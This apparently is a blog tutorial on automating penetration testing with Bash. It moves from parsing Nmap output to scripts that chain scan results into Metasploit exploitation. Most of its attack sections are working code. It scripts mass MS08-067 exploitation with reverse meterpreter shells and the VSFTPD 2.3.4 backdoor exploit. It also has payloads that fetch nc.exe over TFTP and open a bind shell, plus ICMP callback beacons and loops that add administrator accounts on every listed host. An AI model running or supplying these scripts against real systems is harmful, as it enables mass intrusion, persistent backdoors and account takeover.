Automating Kali Linux Tools for Efficient Penetration Testing

Nmap is a staple tool for network reconnaissance, but parsing its output efficiently is crucial for streamlining the penetration testing workflow. Rather than performing repetitive scans for different services, it is often more efficient to perform a comprehensive scan once and parse the output. Nmap's greppable output format (-oG) is particularly suited for this. The following Bash script demonstrates how to extract IP addresses of hosts that have a specific port open from an Nmap greppable output file.

#!/bin/bash

if [ $# -ne 2 ]; then
    echo "Usage: $0 <port_number> <filename>"
    exit 1
fi

TARGET_PORT=$1
INPUT_FILE=$2

echo "Hosts with port $TARGET_PORT open:"
grep "$TARGET_PORT" "$INPUT_FILE" | awk '/open/ {print $2}'

The script first validates that both a port number and a filename have been supplied. It then searches the specified file for lines containing the port number and the status "open". The awk command extracts the second field, which corresponds to the IP address in the greppable output format.

Chaining Nmap NSE Scripts with Previous Scan Data

Nmap Scripting Engine (NSE) scripts often target specific services. Running these scripts against every host in a large network can be time-consuming if the service isn't ubiquitous. A more efficient approach involves parsing a previous scan to identify hosts running the target service and executing the NSE script only against those hosts. The following script scans for hosts with TCP port 445 open and executes the smb-check-vulns.nse script against them.

#!/bin/bash

if [ -z "$1" ]; then
    echo "Usage: $0 <grepable_output_file>"
    exit 1
fi

FILE=$1

for IP in $(grep "445/open" "$FILE" | awk '{print $2}'); do
    echo "Scanning $IP for SMB vulnerabilities..."
    nmap -p 445 --script smb-check-vulns.nse --script-args=unsafe=1 "$IP"
done

This script iterates through the IP addresses extracted from the Nmap output file. By filtering for port 445 first, the NSE script is only deployed against relevant targets, significantly optimizing the assessment phase.

Integrating Nmap Vulnerability Scanning with Metasploit Exploitation

Automating the transition from vulnerability detection to exploitation can save significant time during a penetration test. This script utilizes Nmap to detect the MS08-067 vulnerability. If the vulnerability is confirmed, it automatically triggers the corresponding Metasploit module to gain access.

#!/bin/bash

if [ $# -ne 3 ]; then
    echo "Usage: $0 <RHOST> <LHOST> <LPORT>"
    exit 1
fi

RHOST=$1
LHOST=$2
LPORT=$3

# Run Nmap NSE script and save output
nmap -p 445 --script smb-check-vulns.nse "$RHOST" -oN tmp_scan.txt

# Check for vulnerability string
if grep -q "MS08-067: VULNERABLE" tmp_scan.txt; then
    echo "Vulnerability found on $RHOST. Launching exploit..."
    msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $RHOST; set LHOST $LHOST; set LPORT $LPORT; set PAYLOAD windows/meterpreter/reverse_tcp; exploit; exit"
fi

rm tmp_scan.txt

The script redirects the Nmap output to a temporary file. The grep command searches for the specific string indicating a vulnerability. If found, msfconsole is invoked with the necessary parameters to execute the exploit non-interactively.

Combining Nessuscmd and Metasploit for Verification

Nessus provides comprehensive vulnerability scanning capabilities, and nessuscmd allows for command-line interaction. This example combines a Nessus plugin check for the VSFTPD 2.3.4 backdoor with a Metasploit exploit. The script checks for the vulnerability and exploits it if present.

#!/bin/bash

if [ -z "$1" ]; then
    echo "Usage: $0 <TARGET_IP>"
    exit 1
fi

TARGET=$1

# Plugin 55523 checks for VSFTPD backdoor
/opt/nessus/bin/nessuscmd -p 21 -i 55523 "$TARGET" > nessus_output.txt

if grep -q "55523" nessus_output.txt; then
    echo "VSFTPD backdoor detected on $TARGET. Exploiting..."
    msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST $TARGET; exploit; exit"
fi

rm nessus_output.txt

Parallelizing Metasploit Exploitation with Reverse Shells

Performing exploitation against multiple targets sequentially can be slow. Bash scripts can launch multiple instances of the Metasploit Framework in parallel, each in a separate terminal window. This script reads a list of target IPs and attempts to exploit the MS08-067 vulnerability on each, incrementing the local port number for each connection to avoid conflicts.

#!/bin/bash

if [ $# -ne 2 ]; then
    echo "Usage: $0 <host_list_file> <LHOST>"
    exit 1
fi

HOST_LIST=$1
LHOST=$2
PORT=4444

for IP in $(cat "$HOST_LIST"); do
    gnome-terminal -- bash -c "msfconsole -q -x \"use exploit/windows/smb/ms08_067_netapi; set RHOST $IP; set LHOST $LHOST; set LPORT $PORT; set PAYLOAD windows/meterpreter/reverse_tcp; exploit; exec bash\""
    echo "Attacking $IP on local port $PORT"
    PORT=$((PORT + 1))
done

Deploying Backdoors via Paralel Exploitation

In scenarios where a persistent backdoor is preferred over a single session, the payload can be modified to download and execute a backdoor utility like Netcat. This requires a TFTP server hosting the binary. The script below exploits the target and instructs it to fetch Netcat and listen on a specific port.

#!/bin/bash

if [ -z "$1" ]; then
    echo "Usage: $0 <host_list_file>"
    exit 1
fi

HOSTS=$1

for TARGET in $(cat "$HOSTS"); do
    CMD="cmd.exe /c tftp -i 192.168.1.100 GET nc.exe && nc.exe -L -p 4444 -e cmd.exe"
    gnome-terminal -- msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $TARGET; set PAYLOAD windows/exec; set CMD '$CMD'; exploit"
    echo "Attempting backdoor deployment on $TARGET"
done

Validating Exploits via ICMP Exfiltration

When dealing with a large number of targets, establishing a session for every host might not be necessary or desired. Instead, the payload can be designed to send a simple ICMP packet back to the attacker machine to signal successful exploitation. A Python script using Scapy can listen for thece specific packets.

The Bash script to trigger the exploitation:

#!/bin/bash

if [ -z "$1" ]; then
    echo "Usage: $0 <host_list_file>"
    exit 1
fi

HOSTS=$1

for TARGET in $(cat "$HOSTS"); do
    # Ping with a specific TTL (e.g., 15) to identify the callback
    PAYLOAD_CMD="ping -n 1 -i 15 192.168.1.100"
    msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $TARGET; set PAYLOAD windows/exec; set CMD '$PAYLOAD_CMD'; exploit" &
    echo "Exploiting $TARGET and awaiting ICMP callback..."
done

The Python listener script to detect the unique ICMP packets:

#!/usr/bin/env python
from scapy.all import *

def detect_exploit(pkt):
    if pkt.haslayer(ICMP):
        # Check if destination is the attacker and TTL matches the signature
        if pkt[IP].dst == "192.168.1.100" and pkt[IP].ttl <= 15:
            print(f"Exploitable host confirmed: {pkt[IP].src}")

print("Listening for exploit confirmation beacons...")
sniff(prn=detect_exploit, store=0)

Automating Administrative Account Creation

For persistent access, an exploit payload can be configured to create a new user account and add it to the local administrators group. This method is noisy but efffective for quickly gaining administrative footholds across multiple systems.

#!/bin/bash

if [ $# -ne 3 ]; then
    echo "Usage: $0 <host_list_file> <username> <password>"
    exit 1
fi

HOST_FILE=$1
USER=$2
PASS=$3

for TARGET in $(cat "$HOST_FILE"); do
    CMD="net user $USER $PASS /add && net localgroup administrators $USER /add"
    gnome-terminal -- msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOST $TARGET; set PAYLOAD windows/exec; set CMD '$CMD'; exploit"
    echo "Attempting to add user $USER on $TARGET"
done

Once the script completes, the new credentials can be verified using auxiliary modules like smb_login or standard Windows administration tools.

Tags: Bash Scripting Metasploit Nmap Penetration Testing automation

Posted on Mon, 02 Nov 2026 16:29:19 +0000 by JimChuD

Freaks City